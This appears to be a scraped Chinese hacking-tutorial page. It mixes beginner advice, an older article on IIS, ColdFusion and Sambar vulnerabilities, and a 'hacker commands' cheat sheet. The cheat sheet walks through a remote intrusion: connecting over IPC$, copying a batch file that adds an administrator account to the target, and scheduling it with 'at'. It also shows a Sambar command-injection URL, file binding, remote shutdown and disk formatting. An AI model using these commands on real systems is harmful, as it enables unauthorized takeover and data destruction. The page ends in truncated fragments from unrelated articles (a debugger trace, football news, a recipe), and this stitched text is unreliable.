先学会电脑的拆装吧。别电脑的硬件都搞不清楚,就说自己是黑客。不然太难把自己的兴趣弄掉就不好了。 建议你先学如何防范,防范比较简单,可以通过很多工具辅助,在这个过程中会接触学习到很多黑客攻击 *** ,和病毒木马的不同特征,还有 *** 的很多术语,到这时你在去看那些论坛的文章(简单的)是很容易明白的。 如果你到这一步,至于下面该学什么,你自己心里也知道了。
Web服务器将成为下一代黑客施展妖术的对象。在很大程度上,进行这种攻击只需一个Web浏览器和一个创造性的头脑。以前,黑客的攻击对象集中在操作系统和 *** 协议上,但随着这些攻击目标的弱点和漏洞逐渐得到修补,要进行这类攻击已经变得非常困难。操作系统正在变得更加稳健,对攻击的抵抗能力日益提高。随着身份验证和加密功能渐渐被内置到 *** 协议中, *** 协议也变得更加安全。此外,防火墙也越来越智能,成为 *** 和系统的外部保护屏障。
另一方面,电子商务技术正在日益普及开来,其复杂性有增无减。基于Web的应用程序正在与基本的操作系统和后端数据库更加紧密地集成在一起。遗憾的是,人们在基于Web的基础设施安全性方面所做的工作还很不够。Web服务器和Web应用程序中的弱点被发现的速度为何这么快呢?
有很多因素促成了这种Web黑客活动的快速增加。其中最主要的原因是防火墙允许所有的Web通信都可以进出 *** ,而防火墙无法防止对Web服务器程序及其组件或Web应用程序的攻击。第二个原因是,Web服务器和基于Web的应用程序有时是在“功能之一,安全其次”的思想指导下开发出来的。
当您的Web服务器面临巨大威胁时,怎样保障它们的安全呢?这就需要您不断了解新信息,新情况,每天跟踪您所用服务器的有关网站,阅读相关新闻并向它进行咨询。为了让你着手这方面的工作,下面介绍黑客对NT系统的四种常用攻击手段,同时介绍如何防止这类攻击。
Microsoft IIS i *** .dll缓冲区溢出
受影响的服务器:运行IIS 4.0并带有“Service Pack 3/4/5”的Windows NT服务器
Microsoft IIS缓冲区溢出这一安全弱点是Web服务器无时不有的重大缺陷之一。该弱点被称为IIS
eEye,这个名称来自发现此问题的一个小组。在实施缓冲区溢出攻击时,黑客向目标程序或服务输入超出程序处理能力的数据,导致程序突然终止。另外,还可以通过设置,在执行中的程序终止运行前,用输入的内容来覆盖此程序的某些部分,这样就可以在服务器的安全权限环境下执行任意黑客命令。
eEye发现,IIS用来解释HTR文件的解释程序是i *** .dll,它对缓冲区溢出攻击的抵抗力十分脆弱。如果攻击者将一个以.htr结尾的超长文件名(大约3,000个字符,或更多)传递给IIS,那么输入值将在i *** .dll中造成输入缓冲区溢出,并导致IIS崩溃。如果攻击者输入的不是一串字母而是可执行代码(通常称为“鸡蛋”或“外壳代码”),那么在IIS终止之前将执行该代码。由eEye小组发现的这一攻击 *** 包括三个步骤:
1.创建一个用于侦听任意TCP端口上连接活动的程序。一旦接收到连接信号,该程序将执行一个Windows命令外壳程序(cmd.exe),并将该外壳与连接绑定在一起。这个程序是经过修改的Netcat。Netcat是一个流行的 *** 连接实用程序,其源代码可以免费获得。
2.在IIS的i *** .dll中制造缓冲区溢出,并使IIS从外部Web站点下载侦听程序(由步骤1产生)。
3.执行刚下载的程序(由步骤2产生),该程序将等待传入的连接并使攻击者进入Windows命令外壳程序中。
由于缓冲区溢出导致IIS在崩溃之前转而运行Windows命令外壳,所以该外壳程序将在IIS的安全权限背景下运行,而该安全权限背景等价于NT
Administrator权限。这样,攻击者要做的只是与被攻击的IIS服务器的侦听端口建立连接,然后等着出现c:提示就万事大吉了。现在,攻击者拥有对整个NT服务器的管理权限,可以做任何事,比如,添加新用户、修改服务器的内容、格式化驱动器,甚至将该服务器用作攻击其它系统的踏脚石。
运行IIS 4.0并带有“Service Pack 3/4/5”的Windows
NT服务器容易受到此类攻击。Microsoft已经发布了对该弱点的修补程序。Windows NT Service Pack
6也已经修补了该问题。
Microsoft IIS MDAC RDS安全弱点
受影响的服务器:运行IIS 4.0并安装了MDAC 2.1或更早版本的Windows NT服务器
在发现IIS eEye安全弱点的大约一个月后,IIS
4.0的另一个弱点又暴露出来。使用Microsoft数据访问组件(MDAC)和远程数据服务(RDS),攻击者可以建立非法的ODBC连接,并获得对Web服务器上的内部文件的访问权。如果安装了Microsoft
Jet OLE DB提供程序或Datashape提供程序,攻击者可以使用Visual Basic for Applications
shell()函数发出能够在服务器上执行的命令。
在安装了MDAC 2.1或更高版本的IIS 4.0上,从位于其公共目录中的msadcmsadcs.dll,可以找到MDAC
RDS弱点。Rain Forest
Puppy在其站点中对该弱点进行了详细说明。该弱点利用了IIS上MDAC默认安装时的不适当配置和安全机制的缺乏这一漏洞。在等价于NT
Administrator的IIS Web服务器进程的安全权限背景下,进行这种攻击的黑客可以在NT系统上远程执行任意命令。
MDAC的弱点不是由于技术造成的,而是由于用户对它的配置方式所致。很多站点是通过NT Option Pack 4.0安装IIS
4.0的。如果NT Option Pack
4.0是以典型或默认配置安装的,那么MDAC就容易遭到这种攻击。大多数使用默认安装的系统管理员都没有具体调整过这些设置,从而使Web服务器的安全性大大降低。
Foundstone公司的George Kurtz、Purdue大学的Nitesh
Dhanjani和我曾经共同设计了一个只有一行的命令字符串,该命令将利用MDAC
RDS弱点,使远程NT系统启动一个通过FTP或TFTP进行的文件传输过程。这个命令将告诉服务器到从某个外部系统下载并执行Netcat。Netcat将运行Windows命令外壳程序,并建立一个返回攻击者计算机的连接,这样,攻击者就获得了对远程NT系统的完全管理控制权。
Microsoft已经发布了相应的安全公告,并对使IIS 4.0免受该弱点攻击的保护措施进行了说明。
Allaire ColdFusion 4.0弱点
受影响的服务器:运行在Windows NT上的Allaire ColdFusion Server 4.0
作为还算容易使用的、功能强大的脚本语言,ColdFusion已经广泛流行起来。但流行并不意味着安全。ColdFusion的问题不在于该服务器自身,而是在于它附带的脚本。ColdFusion
4.0提供了示范应用程序和范例,它们可以在位于Web服务器根目录中的cfdocsexampleapp和cfdocsexpeval目录中找到。当用户执行典型安装时,将安装这些应用程序和脚本。ColdFusion所附带的部分范例经过修改后,将允许非法访问服务器上所包含的敏感数据。这些弱点表明,基本的应用程序服务器可以被编写得不好的应用程序脚本歪曲利用。
存在这种弱点的一个范例应用程序是cfdocsexampleappdocssourcewindow.cfm。因为ColdFusion是作为具有Administrator权限的系统服务运行的,所以,该程序可以被用来任意访问和查看NT
Web服务器上的任何文件,包括boot.ini。用这种 *** 可以检索任何文件。Packet Storm对该弱点做了完整解释。
而更严重的弱点存在于cfdocsexpevalopenfile.cfm、cfdocsexpevaldisplayopenedfile.cfm和cfdocsexpevalexprcalc.cfm中。这三个文件可以用来查看服务器上的任何文件,更为严重的是,它们还能将任意文件上载到服务器。对该弱点如何发作的讨论超出了本文的范围,欲了解详细信息请访问L0pht
Heavy
Industries的咨询信息。表达式求值程序exprcalc.cfm用于让开发人员计算被上载文件中的ColdFusion表达式的值。作为预防手段,该脚本在进行表达式计算时便会把被上载的文件删除掉,但要避免删除却是件容易的事。这样,攻击者可以上载恶意文件,并最终控制服务器。
这些就是ColdFusion的示范脚本中最严重的弱点。要防止出现问题,请从任何运行中的服务器中删除ColdFusion示范脚本。Allaire的Security
Zone提供了补丁程序,并提供了如何保护ColdFusion服务器的进一步信息。
Sambar 4.3 hello.bat
受影响的服务器:运行在Windows NT上的Sambar 4.3 beta 7和更早版本
Sambar是提供给开发者的免费Web服务器。它提供了对CGI和WinCGI脚本、ODBC脚本以及ISAPI的支持。它甚至捆绑了Perl
5解释器。
Sambar 4.3 beta
7版和更早版本附带两个名为hello.bat和echo.bat的文件,它们是将Windows批处理文件用作CGI脚本的范例。这两个脚本本身没有问题,hello.bat显示字符串“Hello
World”,而echo.bat显示字符串“Place
Holder”。但当批处理文件被用作CGI脚本时,Web服务器将使用Windows命令外壳程序cmd.exe来运行它们。这样,攻击者可以利用该弱点针对目标服务器运行任意命令。例如,假如攻击者把URL
;dir+c:放在他或她的浏览器中,那么,将在服务器上运行命令“dir
c:”,并在浏览器上显示结果。由于Sambar是在NT
Administrator安全权限下运行的,因此事情会变得更为复杂。这样的权限等级可以让攻击者作为NT Administrator运行任意命令。
Windows命令外壳使用“”在相同命令行上分隔多个命令。如果用户将“”放在hello.bat的后面,并在其后添加一个命令,那么将在执行hello.bat后执行第二个命令。
由于已经删除了文件hello.bat和echo.bat,Sambar 4.3 beta
8版和更高版本没有该弱点。但是,由于Windows命令外壳程序解析命令行的方式无法改变,所以并没有办法能真正修正该问题。如果您安装了4.3
beta 7版或更低版本,请一定要删除hello.bat和echo.bat。
一个勇敢的心和各种计算机技术和常识
首先你要有一颗勇敢的心,毕竟在这个世界上没有合法的黑客,你只是做木马病毒倒不犯法,但是只要你的病毒进去了市场,造成了经济损失,你就会犯法,会坐牢的,没有强大的心是不够的。
然后还需要精通XP、WIN7等系统的各种命令和作用,还要具备:精通C语言、汇编语言等等,最重要的是懂英文,会使用各种不同作用的软件达成自己的目的,所以要求对各种软件都有一定的基础,并且需要很熟练地使用虚拟机,懂得XP、WIN7的命令行;懂得各种系统文件有什么作用,分别存放在哪里。
还要懂的一些尝试问题,比如:
什么是 *** 安全? 答: *** 安全是指 *** 系统的硬件、软件及其系统中的数据受到保护,不因偶然的或者恶意的原因而遭到破坏、更改、泄露,系统可以连续可靠正常地运行, *** 服务不被中断。
什么是计算机病毒? 答:计算机病毒(Computer Virus)是指编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码。
什么是木马? 答:木马是一种带有恶意性质的远程控制软件。木马一般分为客户端(client)和服务器端(server)。客户端就是本地使用的各种命令的控制台,服务器端则是要给别人运行,只有运行过服务器端的计算机才能够完全受控。木马不会像病毒那样去感染文件。
什么是防火墙?它是如何确保 *** 安全的? 答:使用防火墙(Firewall)是一种确保 *** 安全的 *** 。防火墙是指设置在不同 *** (如可信任的企业内部网和不可信的公共网)或 *** 安全域之间的一系列部件的组合。它是不同 *** 或 *** 安全域之间信息的惟一出入口,能根据企业的安全政策控制(允许、拒绝、监测)出入 *** 的信息流,且本身具有较强的抗攻击能力。它是提供信息安全服务,实现 *** 和信息安全的基础设施。
黑客常用命令(不太全,只是我个人常用的)、、、、、 ping 测试
ping -a ip 对目标ip地址进行反向名称解析,如果解析成功,ping将显示相应的主机名
ping IP -t 连续对IP地址执行PING命令直到CTRL+C中断
ping IP -l 3000 指定PING命令中的数据长度为3000字节
netstat( local address本地地址,foreign address外部地址)
netstat -s 查看本机 *** 配置信息
netstat -e 查看连接数据包
netstat -r 查看路由表的各种信息
netstat -n 显示已建立连接
netstat -v 显示正在进行的工作
netstat -t 显示TCP协议的连接情况
netstat -a 显示所有SOCKET,包括正在监听的
netstat -u 显示UDP协议的连接情况
nslookup 域名 查询A记录
nslookup -q=mx 域名 查询MX记录
nslookup -q=ns 域名 查询ns记录
ipconfig 查看自己的本地连接和宽带连接
ipconfig /all 显示IP地址MAC地址等附加信息
ipconfig /batch bak-netcfg 将有关 *** 配置的信息备份到文件BAK-NETCFG中
ipconfig /release 1 去除网卡(适配器1)的动态IP地址
ipconfig /renew 1 为网卡重新动态分配IP地址
tracert 解析路由
dir 列出当前路径下的文件
dir /a 列出当前路径下所有文件包含隐藏的系统的文件
dir /ah 列出当前路径下隐藏的文件包括子目录隐藏的
dir /as 列出系统文件
dir /ad 列出子目录
dir /B 只显示文件名与扩展名
nbtstat -a IP 查看指定IP主机的NETBIOS信息
COPY命令巧妙捆绑:
copy 456.jpg/b + 123.txt/a 789.jpg
首先CD命令到文件的存放位置,456.jpg--文件名,123.txt--文件名,789.jpg--生成的789图片文件。/b--用于指定以二进制格式复制合并文件,/a--用于指定以ASCLL格式复制合并文件,二进制格式文件应该在+前,文本格式文件在+后。
cls 清屏命令
net user 系统账号类操作
net user 账号 密码 /add 建立账号命令
net user 账号 密码 /dll 删除账号命令
net localgroup 系统组操作
net use 远程连接 映射操作
net use \\IP\ipc$ "密码" /user:"用户" IPC¥连接
net use z: \\IP\c$ 映射 *** 驱动器(C盘到本地E盘)
net use * /del 断开所有IPC连接
net use \\IP\ipc$ /del 断开指定IP目标IPC连接
net time \\IP 查看目标主机的时间
copy 把一个文件拷贝到另一个地方(参照远程添加用户)
at 用来建立计划任务(参照远程添加用户)
net user 用来管理计算机上面的帐号(参照远程添加用户)
net localgroup 用来管理工作组(参照远程添加用户)
net send 信使命令
net start messenger 开启信使服务messenger
net stop messenger 关闭服务
net * 内容 向局域网所有用户发送消息
远程添加用户:
net user 用户名 密码 /add
net localgroup administrators 用户名 /add
命令一:添加一个用户
命令二:表示把用户添加到管理员组(administrators)
打开记事本,键入上面的命令,把该文件另存为后坠名是.bat的文件(这里记为hack.bat)
转到存放hack.bat的目录(比如D盘),键入copy hack.bat \\目标IP\c$ (这样就把hack.bat拷贝到了目标主机的C盘)
首先键入:net time \\目标IP 查看目标主机的时间,再键入: at \\目标IP 时间 要执行的命令。例:at \\192.168.1.1 c:hack.bat
net share 查看本机共享资源
at \\IP 时间 net share c: 使用计划任务开启共享资源
md f:\123..\ 建立超级文件夹(F指本地磁盘,123指文件夹名)
start f:\123..\ 进入超级文件夹
rd f:\123..\ 删除超级文件夹
shutdown -i 打开(关闭计算机)界面,可关指定远程计算机
shutdown -l 注销本计算机
shutdown -s 关闭本计算机
shutdown -r 关闭并重启本计算机
shutdown -a 放弃系统关机
shutdown -m \\(计算机名或IP) -s 远程关闭计算机
shutdown -m \\(计算机名或IP) -r 远程重启计算机
shutdown -m \\(计算机名或IP) -a 远程命令放弃
shutdown -t xx 设置关闭的超时为几秒(xx表示秒)
shutdown -c "comment" 关闭注释(更大127字符)
shutdown -f 强制运行的应用程序关闭而没有警告
shutdown -d [u][p]:xx:yy 关闭原因代码(u是用户代码,p是一个计划的代码,xx是一个主要原因代码[小于256的正整数],yy是一个次要原因代码[小于65536的正整数])
at 22:00 Shutdown -s 22:00关机
del d:文件夹\文件名 删除文件,d:指盘符。
cd.. 进入上一层
cd (文件夹名) 进入指定的文件夹
d: 进入D盘
nbtstat -a 计算机名或IP 显示指定计算机NETBIOS信息
nbtstat -n 显示本计算机的NETBIOS信息
nbtstat -c 显示本计算机NEBIOS名称缓存的内容
arp -a Ip 如果我们有多个网卡,那么使用arp -a加上接口的Ip地址,就可以只显示与该接口相关的ARp缓存项目。
arp -s Ip MAC物理地址 绑定其他电脑MAC地址,IP为:目标IP。
arp -d Ip 人工删除一个静态项目(MAC地址)。
format d: 格式化命令,d:代表盘符
format d:/q 快速格式化
format d:/u 无条件格式化
08 00000000`000ab600 00000000`77426bad USER32!SendMessageWorker+0x73d我先简略的刺进了一个标签,回应如下(即重置暗码的邮件):削减封...
很多人问:“作为一个普通人,才华不横溢,不知道干点什么,有没有一些普通人日常也能做到的赚钱秘籍?” 作为普通人的小编,也想知道秘籍,因此走访了身边一些我认为有钱的同事朋友们,结合自己一点点经验,为大...
北京时间3月30日,巴萨球星梅西在个人社交媒体发布公开信,公告了巴萨一线队所有球员均同意减薪70%的决定。 自从欧洲足坛开始全面停摆,关于各大联赛降薪的话题就成为焦点。 3月27日,巴...
本文目录一览: 1、博客和网站哪个更容易入侵??? 2、现在大部分网站容易被入侵吗? 3、黑客入侵网站难吗,最难的是什么? 4、现在大部分网站容易被入侵吗 博客和网站哪个更容易入侵???...
本文目录一览: 1、如果不小心浏览了不良网站,信息会泄露吗? 2、手机浏览不良网站会不会泄露? 3、如果不小心浏览了“不良网站”信息会泄露吗? 如果不小心浏览了不良网站,信息会泄露吗? 如果...
秋葵怎么做好吃(男人吃秋葵能壮阳吗) 大家好,我是第一美食的阿飞,关注阿飞,有更多的家常美食供大家参考。 今天为大家分享一道“白灼秋葵”的家常做法,秋葵是很有营养的一种蔬菜,尤其是里面的籽和胶液更...